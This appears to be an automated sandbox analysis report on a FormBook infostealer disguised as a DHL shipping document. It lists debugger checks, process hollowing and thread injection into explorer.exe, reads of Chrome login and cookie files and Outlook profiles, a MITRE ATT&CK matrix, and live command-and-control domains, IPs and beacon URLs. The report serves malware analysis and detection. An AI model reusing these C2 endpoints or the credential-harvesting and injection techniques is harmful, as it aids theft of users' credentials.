          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A52581 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A22D8A mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A22D8A mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A22D8A mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A22D8A mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A22D8A mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A5FD9B mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A5FD9B mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A3D5E0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A3D5E0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AEFDE2 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AEFDE2 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AEFDE2 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AEFDE2 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AD8DF1 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AA6DC9 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AA6DC9 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AA6DC9 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AA6DC9 mov ecx, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AA6DC9 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AA6DC9 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A2AD30 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A33D34 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A33D34 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A33D34 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A33D34 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A33D34 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A33D34 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A33D34 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A33D34 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A33D34 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A33D34 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A33D34 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A33D34 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A33D34 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AF8D34 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AAA537 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A54D3B mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A54D3B mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A54D3B mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A4C577 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A4C577 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A63D43 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AA3540 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A47D50 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AF0EA5 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AF0EA5 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AF0EA5 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AA46A7 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00ABFE87 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A376E2 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A516E0 mov ecx, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A68EC7 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A536CC mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00ADFEC0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AF8ED6 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A2E620 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00ADFE3F mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A2C600 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A2C600 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A2C600 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A58E00 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AE1608 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A5A61C mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A5A61C mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A3766D mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A4AE73 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A4AE73 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A4AE73 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A4AE73 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A4AE73 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A37E41 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A37E41 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A37E41 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A37E41 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A37E41 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A37E41 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AEAE44 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AEAE44 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A38794 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AA7794 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AA7794 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AA7794 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A637F5 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A24F2E mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A24F2E mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A5E730 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AF070D mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AF070D mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A5A70E mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A5A70E mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A4F716 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00ABFF10 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00ABFF10 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A3FF60 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AF8F6A mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A3EF40 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeProcess queried: DebugPort
          Source: C:\Windows\SysWOW64\help.exeProcess queried: DebugPort
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_0040CEC3 LdrLoadDll,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 1_2_004018F8 SetUnhandledExceptionFilter,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 1_2_0040636B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 1_2_00401BF3 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 1_2_00401796 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

          HIPS / PFW / Operating System Protection Evasion

          barindex
          System process connects to network (likely due to code injection or exploit)
          Source: C:\Windows\explorer.exeNetwork Connect: 50.87.195.203 80
          Source: C:\Windows\explorer.exeNetwork Connect: 37.97.254.29 80
          Source: C:\Windows\explorer.exeDomain query: www.getpay.life
          Source: C:\Windows\explorer.exeNetwork Connect: 46.23.69.44 80
          Source: C:\Windows\explorer.exeDomain query: www.luxgudonu.store
          Source: C:\Windows\explorer.exeDomain query: www.motherhoodinthegarden.com
          Source: C:\Windows\explorer.exeNetwork Connect: 217.160.0.32 80
          Source: C:\Windows\explorer.exeNetwork Connect: 199.192.28.110 80
          Source: C:\Windows\explorer.exeDomain query: www.sowmedia.site
          Source: C:\Windows\explorer.exeDomain query: www.363ww.top
          Source: C:\Windows\explorer.exeDomain query: www.espisys-technology.com
          Source: C:\Windows\explorer.exeDomain query: www.on-smooth.com
          Source: C:\Windows\explorer.exeDomain query: www.yh78898.com
          Source: C:\Windows\explorer.exeDomain query: www.versicherungsgott.com
          Source: C:\Windows\explorer.exeNetwork Connect: 104.233.254.113 80
          Source: C:\Windows\explorer.exeNetwork Connect: 81.169.145.88 80
          Source: C:\Windows\explorer.exeNetwork Connect: 113.52.135.193 80
          Sample uses process hollowing technique
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeSection unmapped: C:\Windows\SysWOW64\help.exe base address: 3B0000
          Maps a DLL or memory area into another process
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeSection loaded: unknown target: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exe protection: execute and read and write
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeSection loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeSection loaded: unknown target: C:\Windows\SysWOW64\help.exe protection: execute and read and write
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeSection loaded: unknown target: C:\Windows\SysWOW64\help.exe protection: execute and read and write
          Source: C:\Windows\SysWOW64\help.exeSection loaded: unknown target: C:\Windows\explorer.exe protection: read write
          Source: C:\Windows\SysWOW64\help.exeSection loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
          Queues an APC in another process (thread injection)
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeThread APC queued: target process: C:\Windows\explorer.exe
          Modifies the context of a thread in another process (thread injection)
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeThread register set: target process: 3528
          Source: C:\Windows\SysWOW64\help.exeThread register set: target process: 3528
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeProcess created: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exe C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exe
          Source: explorer.exe, 00000004.00000000.325681102.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000004.00000002.581325159.0000000000E50000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: EProgram Managerzx
          Source: explorer.exe, 00000004.00000000.325681102.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000004.00000002.581325159.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000004.00000000.333026756.000000000834F000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Shell_TrayWnd
          Source: explorer.exe, 00000004.00000000.325681102.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000004.00000002.581325159.0000000000E50000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
          Source: explorer.exe, 00000004.00000002.580769030.00000000009C8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.324681730.00000000009C8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Progmanath
          Source: explorer.exe, 00000004.00000000.325681102.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000004.00000002.581325159.0000000000E50000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 1_2_00401A05 cpuid
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 1_2_0040167D GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,
          Source: C:\Users\user\Desktop\DHL_SHIPPING_DOCUMENT.exeCode function: 0_2_00403640 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,ExitProcess,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

          Stealing of Sensitive Information

          barindex
          Yara detected FormBook
          Source: Yara matchFile source: 3.2.eixfhzlwqd.exe.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 3.2.eixfhzlwqd.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 00000005.00000002.581265823.0000000002C00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000003.00000002.357493625.0000000000900000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000005.00000002.581153913.0000000002900000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000003.00000002.357465550.00000000008D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000003.00000002.357347266.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000005.00000002.579126869.0000000000510000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Tries to steal Mail credentials (via file / registry access)
          Source: C:\Windows\SysWOW64\help.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\
          Tries to harvest and steal browser information (history, passwords, etc)
          Source: C:\Windows\SysWOW64\help.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies
          Source: C:\Windows\SysWOW64\help.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
          Source: C:\Windows\SysWOW64\help.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
          Source: C:\Windows\SysWOW64\help.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State
          Source: C:\Windows\SysWOW64\help.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State
          Source: C:\Windows\SysWOW64\help.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data

          Remote Access Functionality

          barindex
          Yara detected FormBook
          Source: Yara matchFile source: 3.2.eixfhzlwqd.exe.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 3.2.eixfhzlwqd.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 00000005.00000002.581265823.0000000002C00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000003.00000002.357493625.0000000000900000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000005.00000002.581153913.0000000002900000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000003.00000002.357465550.00000000008D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000003.00000002.357347266.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000005.00000002.579126869.0000000000510000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

          Mitre Att&ck Matrix

          Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
          Valid Accounts1
          Shared Modules          		Path Interception1
          Access Token Manipulation          		1
          Deobfuscate/Decode Files or Information          		1
          OS Credential Dumping          		1
          System Time Discovery          		Remote Services1
          Archive Collected Data          		Exfiltration Over Other Network Medium3
          Ingress Tool Transfer          		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without Authorization1
          System Shutdown/Reboot
          Default Accounts2
          Command and Scripting Interpreter          		Boot or Logon Initialization Scripts512
          Process Injection          		2
          Obfuscated Files or Information          		LSASS Memory2
          File and Directory Discovery          		Remote Desktop Protocol1
          Data from Local System          		Exfiltration Over Bluetooth1
          Encrypted Channel          		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
          Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)11
          Software Packing          		Security Account Manager15
          System Information Discovery          		SMB/Windows Admin Shares1
          Email Collection          		Automated Exfiltration4
          Non-Application Layer Protocol          		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
          Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)2
          Virtualization/Sandbox Evasion          		NTDS41
          Security Software Discovery          		Distributed Component Object Model1
          Clipboard Data          		Scheduled Transfer14
          Application Layer Protocol          		SIM Card SwapCarrier Billing Fraud
          Cloud AccountsCronNetwork Logon ScriptNetwork Logon Script1
          Access Token Manipulation          		LSA Secrets2
          Virtualization/Sandbox Evasion          		SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
          Replication Through Removable MediaLaunchdRc.commonRc.common512
          Process Injection          		Cached Domain Credentials2
          Process Discovery          		VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
          External Remote ServicesScheduled TaskStartup ItemsStartup ItemsCompile After DeliveryDCSync1
          Application Window Discovery          		Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
          Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/JobIndicator Removal from ToolsProc Filesystem1
          Remote System Discovery          		Shared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue

          Behavior Graph

          Hide Legend

          Legend:

          • Process
          • Signature
          • Created File
          • DNS/IP Info
          • Is Dropped
          • Is Windows Process
          • Number of created Registry Values
          • Number of created Files
          • Visual Basic
          • Delphi
          • Java
          • .Net C# or VB.NET
          • C, C++ or other language
          • Is malicious
          • Internet
          behaviorgraph top1 signatures2 2 Behavior Graph ID: 830431 Sample: DHL_SHIPPING_DOCUMENT.exe Startdate: 20/03/2023 Architecture: WINDOWS Score: 100 35 Snort IDS alert for network traffic 2->35 37 Malicious sample detected (through community Yara rule) 2->37 39 Antivirus detection for URL or domain 2->39 41 3 other signatures 2->41 9 DHL_SHIPPING_DOCUMENT.exe 19 2->9         started        process3 file4 27 C:\Users\user\AppData\...\eixfhzlwqd.exe, PE32 9->27 dropped 12 eixfhzlwqd.exe 1 9->12         started        process5 signatures6 53 Detected unpacking (changes PE section rights) 12->53 55 Maps a DLL or memory area into another process 12->55 15 eixfhzlwqd.exe 12->15         started        18 conhost.exe 12->18         started        process7 signatures8 57 Modifies the context of a thread in another process (thread injection) 15->57 59 Maps a DLL or memory area into another process 15->59 61 Sample uses process hollowing technique 15->61 63 Queues an APC in another process (thread injection) 15->63 20 explorer.exe 3 1 15->20 injected process9 dnsIp10 29 motherhoodinthegarden.com 50.87.195.203, 49696, 49697, 80 UNIFIEDLAYER-AS-1US United States 20->29 31 luxgudonu.store 46.23.69.44, 49704, 49705, 80 UK2NET-ASGB United Kingdom 20->31 33 12 other IPs or domains 20->33 43 System process connects to network (likely due to code injection or exploit) 20->43 24 help.exe 13 20->24         started        signatures11 process12 signatures13 45 Tries to steal Mail credentials (via file / registry access) 24->45 47 Tries to harvest and steal browser information (history, passwords, etc) 24->47 49 Modifies the context of a thread in another process (thread injection) 24->49 51 Maps a DLL or memory area into another process 24->51

          Screenshots

          Thumbnails

          This section contains all screenshots as thumbnails, including those not shown in the slideshow.


          windows-stand

          Antivirus, Machine Learning and Genetic Malware Detection

          Initial Sample

          SourceDetectionScannerLabelLink
          DHL_SHIPPING_DOCUMENT.exe26%ReversingLabsWin32.Trojan.Nsisx
          DHL_SHIPPING_DOCUMENT.exe39%VirustotalBrowse

          Dropped Files

          ⊘No Antivirus matches

          Unpacked PE Files

          SourceDetectionScannerLabelLinkDownload
          3.2.eixfhzlwqd.exe.400000.0.unpack100%AviraTR/Crypt.ZPACK.GenDownload File
          1.2.eixfhzlwqd.exe.20a0000.1.unpack100%AviraTR/Crypt.ZPACK.GenDownload File

          Domains

          ⊘No Antivirus matches

          URLs

          SourceDetectionScannerLabelLink
          http://www.afzalhossainantor.com/d2a3/0%Avira URL Cloudsafe
          http://www.vanguardfsm.com/d2a3/0%Avira URL Cloudsafe
          http://www.afzalhossainantor.comwww.staatslieden.bizF7L99l=8qpwJ0%Avira URL Cloudsafe
          http://www.fresnocap.com/d2a3/0%Avira URL Cloudsafe
          http://www.on-smooth.comwww.luxgudonu.storeF7L99l=8qpwJ0%Avira URL Cloudsafe
          http://www.363ww.top0%Avira URL Cloudsafe
          http://www.sowmedia.site/d2a3/?F7L99l=8qpwJ&Mw=lIoejRloD0NPrvtjG56SffHGubt9bC7l7VozaPHGZoJbvkCik3wIcy97/aKLKqf+leC/SNQQ4bUyJkgTGWAXDnv4xxMA9hLjSw==100%Avira URL Cloudmalware
          http://www.espisys-technology.comwww.on-smooth.comF7L99l=8qpwJ)0%Avira URL Cloudsafe
          http://www.staatslieden.biz/d2a3/0%Avira URL Cloudsafe
          http://www.staatslieden.bizwww.fresnocap.comF7L99l=8qpwJ0%Avira URL Cloudsafe
          http://www.xefordbienhoa.com/d2a3/0%Avira URL Cloudsafe
          http://www.worldhortihealth.com0%Avira URL Cloudsafe
          http://www.getpay.life/d2a3/?F7L99l=8qpwJ&Mw=VQWJd0zbMmoZh8qz35kMD56sFoyc6gTYso/MZ3BJ/Q0NuTQy4/HeuFqYJgzXZamkeMaLAEsOyVyJpFsiRVW3jp2QSfHijAqmyw==100%Avira URL Cloudmalware
          http://www.worldhortihealth.comwww.afzalhossainantor.comF7L99l=8qpwJ0%Avira URL Cloudsafe
          http://www.363ww.top/d2a3/100%Avira URL Cloudmalware
          http://www.sowmedia.site100%Avira URL Cloudmalware
          http://perldancer.org/0%Avira URL Cloudsafe
          http://www.on-smooth.com/d2a3/100%Avira URL Cloudmalware
          http://www.luxgudonu.store/d2a3/100%Avira URL Cloudmalware
          http://www.espisys-technology.com0%Avira URL Cloudsafe
